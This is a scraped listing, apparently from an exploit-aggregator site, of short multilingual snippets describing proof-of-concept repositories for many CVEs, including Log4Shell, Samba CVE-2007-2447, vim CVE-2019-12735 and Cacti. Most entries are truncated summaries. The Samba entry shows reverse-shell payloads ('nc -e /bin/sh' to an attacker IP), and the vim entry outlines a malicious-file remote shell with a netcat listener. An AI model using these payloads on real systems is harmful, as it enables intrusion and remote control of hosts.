log4j-shell-poc

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4j（Javaのログライブラリ）に新たな脆弱性が発見されました。log4jはElasticsearch、Minecraftなど非常に多くのアプリケーションで広く使用されています。 このリポジトリには、脆弱なサンプルアプリケーションとその概念実証（PoC）エクスプロイトが含まれています。 概念実証（PoC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 EXP VMware View Planner RCE CVE-2021-21978 리버스 셸...

S2-055

S2-055 역직렬화 취약점 Exploit CVE-2017-7525 이용 과정 javac ExploitCommand.java root@kitploit: package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; impo...

CVE-2018-1273

CVE-2018-1273 CVE-2018-1273 환경 CVE-2018-1273: Spring Data Commons에서의 RCE https://pivotal.io/security/cve-2018-1273 애플리케이션 https://github.com/spring-projects/spring-data-examples/tree/master/web/example 빌드 root@kitploit: $ docker build -t cve-2018-1273 . 실행 root@kitploit: $ docker run -d -p...

ghostscript-CVE-2023-43115

ghostscript-CVE-2023-43115 CVE-2023-43115 이해를 돕기 위한 간단한 예제와 함께 작성된 소개 글입니다. !WARNING 저는 주로 문제를 이해하고 사이버 보안에 대해 배우기 위해 이 글을 작성했습니다. 따라서 오류가 있을 수 있습니다. 문제 IJS 장치Improved Inkjet Printing를 활용하려면 Ghostscript가 IJS 서버를 시작해야 합니다. 이는 IjsServer 매개변수에 지정된 경로를 사용하여 수행됩니다. IjsServer 매개변수는 파일 시스템 내의 원하는 파일을...

connectwise-automate-AiTM-rce

ConnectWise Automate 중간자 공격 원격 코드 실행 목차 배경 타임라인 고찰 및 교훈 책임 있는 공개 PoC 코드 ConnectWise에 제공된 보고서 요약 취약한 구성 영향 기술적 세부 사항 1. HTTP 전송 2. 불충분한 프로토콜 보안암호화 및 검증 부재 2.1 종속성 확인 및 다운로드에 대한 불충분한 검증 2.2 재생 공격 방지 부재 2.3 자체 업데이트에 대한 불충분한 검증 3. RMM 명령 및 제어 탈취 완화 방안 배경 침투 테스트의 일환으로 ConnectWise Automate 원격 모니터링 및...

CVE-2023-46604-RCE

CVE-2023-46604-RCE 취약점 Apache ActiveMQ의 OpenWire 전송 언마샬러deserialization에서 역직렬화 취약점이 발생합니다. 영향을 받는 버전은 5.18.0 5.18.2, 5.17.0 5.17.5, 5.16.0 5.16.6, 그리고 5.15.16 이전의 모든 버전입니다. 설정 POC.XML 내의 값을 필요에 따라 변경하십시오 명령어 POC.XML 을 호스팅하십시오 POC.XML URL을 -u 인수를 사용하여 스크립트에 전달하고, 단일 IP 또는 IP 목록을 테스트하십시오 사용 방법:...

CVE-2026-7393-RCE

Pizzafy Ecommerce System 1.0 – savemenu의 무제한 파일 업로드로 인한 원격 코드 실행 세부 정보 필드| 값 ---|--- 벤더| SourceCodester 벤더 URL| https://www.sourcecodester.com 제품| Pizzafy Ecommerce System using PHP and MySQL 제품 URL| https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html 버전| 1.0 취약점| 무제한 파일 업로드 → ...

cdt-vulnsamba-deploy

CDT Team Delta - Vulnerable Samba Deployment Overview This repo is an Ansible-based deployment of a vulnerable Samba file server affected by CVE-2017-7494, a critical remote code execution vulnerability. This will hopefully be deployed for team Delta during the Grey Team phase. Vulnerability...

THM-Vulnerability_Capstone-CVE-2018-16763

THM-VulnerabilityCapstone-CVE-2018-16763 THMルーム「Vulnerability Capstone」& CVE-2018-16763のエクスプロイトスクリプトに関する解説。 クレジット 私はこの脆弱性の発見について功績を主張しません。以下の方々に感謝します。 脆弱性発見: 0xd0ff9 TryHackMe ルーム & 作者: https://tryhackme.com/room/vulnerabilitycapstone https://tryhackme.com/p/cmnatic 参考文献:...

CVE-2025-1974

CVE-2025-1974: Kubernetes Ingress Nginx Controller 취약점 분석 및 PoC 환경 구축 테스트 환경 MacOS M2 Ingress NGINX Controller 1.11.3 Rancher Desktop Docker Minikube Kubernetes 로컬 테스트 환경 세팅M2 MacOS 로컬 테스트를 위해 minikube를 설치 minikube start --driver=docker 아래 명령어로 ingress-nginx-controller를 구성 kubectl apply -f...

CVE-2021-46398

CVE-2021-46398 - Lalie ARNOUD, Gaspard ANDRIEU 이 저장소에서는 docker compose를 통한 CVE-2021-46398 취약점 악용의 개념 증명과 해당 취약점이 정보 시스템에 미치는 영향에 대한 분석을 확인할 수 있습니다. root@kitploit: Exploit Title: FileBrowser 2.17.2 - Cross Site Request Forgery CSRF to Remote Code Execution RCE Date: 05/02/2022 Exploit Author: FEBI...

CVE-2023-25136

CVE-2023-25136 OpenSSH 9.1 취약점 대량 스캔 및 익스플로잇 설명 OpenSSH 서버sshd 9.1은 options.kexalgorithms 처리 과정에서 double-free 취약점을 도입했습니다. 이 문제는 OpenSSH 9.2에서 수정되었습니다. 이 double-free는 기본 구성에서 인증되지 않은 원격 공격자가 sshd 주소 공간의 임의 위치로 점프하는 데 악용될 수 있습니다. 한 타사 보고서에 따르면 "원격 코드 실행이 이론적으로 가능합니다."라고 합니다...

CVE-2024-39700-PoC

CVE-2024-39700 개념 증명 이 템플릿을 사용하여 테스트 옵션으로 생성된 리포지토리에는 RCE 취약점이 있는 update-integration-tests.yml 워크플로우가 포함됩니다. PoC PR: https://github.com/LOURC0D3/CVE-2024-39700-PoC/pull/2 Commit 작업 결과: https://github.com/LOURC0D3/CVE-2024-39700-PoC/actions/runs/10157571828/job/28087926847 결과 이것은 제 버그가 아니며, 저는 단지 ...

fastjson-1.2.58-rce

fastjson-1.2.58-rce 필요: root@kitploit: fastjson autoType is enabled h2 database and some jar . ├── fastjson-1.2.58.jar ├── h2-1.4.199.jar ├── jackson-annotations-2.9.8.jar ├── jackson-core-2.9.8.jar ├── jackson-databind-2.9.8.jar └── logback-core-1.3.0-alpha4.jar fastjson-1.2.58.jar 다운로드...

CVE-2017-11882

CVE-2017-11882 기사 링크 17년 동안 숨겨진 Office 원격 코드 실행 취약점 CVE-2017-11882 http://www.cnblogs.com/Hi-blog/p/7878054.html...

CVE-2021-26855

CVE-2021-26855 CVE-2021-26855Proxylogon이라고도 알려짐는 Exchange의 서버 측 요청 위조SSRF 취약점으로, 공격자가 임의의 HTTP 요청을 보내고 Exchange 서버로 인증할 수 있게 합니다. 취약점을 발견한 연구자 Orange Tsai에 따르면, CVE-2021-26855는 CVE-2021-27065와 연계될 때 코드 실행을 허용합니다아래 참조. 성공적인 익스플로잇 체인은 인증되지 않은 공격자가 "오픈 443 포트만을 통해 Microsoft Exchange Server에서 임의의 명령을...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 구현 설명 Samba 3.0.20 IP - 원격 머신의 IP입니다. PORT - 선택 사항 smb가 실행 중인 포트입니다. PAYLOAD - 원격 머신에서 실행될 페이로드입니다. 예: 리버스 셸. 예시: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 리소스 CVE-2007-2447: 원격 ...

CVE-2019-12735

CVE-2019-12735 이 CVE는 neovim 0.3.6 및 vim 8.1.1365 이후에 수정되었습니다. POC root@kitploit: vim demo1.txt 원격 셸 1. 악성 텍스트 파일 생성: root@kitploit: gcc makedemo3.c -o makedemo3 ./makedemo3 2. 다른 세션에서 클라이언트 실행: root@kitploit: nc -vlp 9999 3. 악성 파일 열기: root@kitploit: vim demo3.txt 그러면 세션에서 리눅스 명령어를 실행할 수 있습니다. 참고...

CVE-2022-46169

CVE-2022-46169 该仓库包含 CVE-2022-46169 的概念验证（PoC）代码——通过组合认证绕过与命令注入实现 Cacti = 1.2.22 的未授权远程代码执行，Sonar 在这篇博客文章中对此进行了描述。相同的漏洞也由 Source Incite 的 Steven Seeley mrme 独立发现。 用法： root@kitploit: 位置参数： target Cacti 应用的 URL。 可选参数： -f FILE 包含命令的文件 -c CMD 命令 --nhostids 尝试的 hostid 范围（0 - n） --nlocaldataids 尝试的...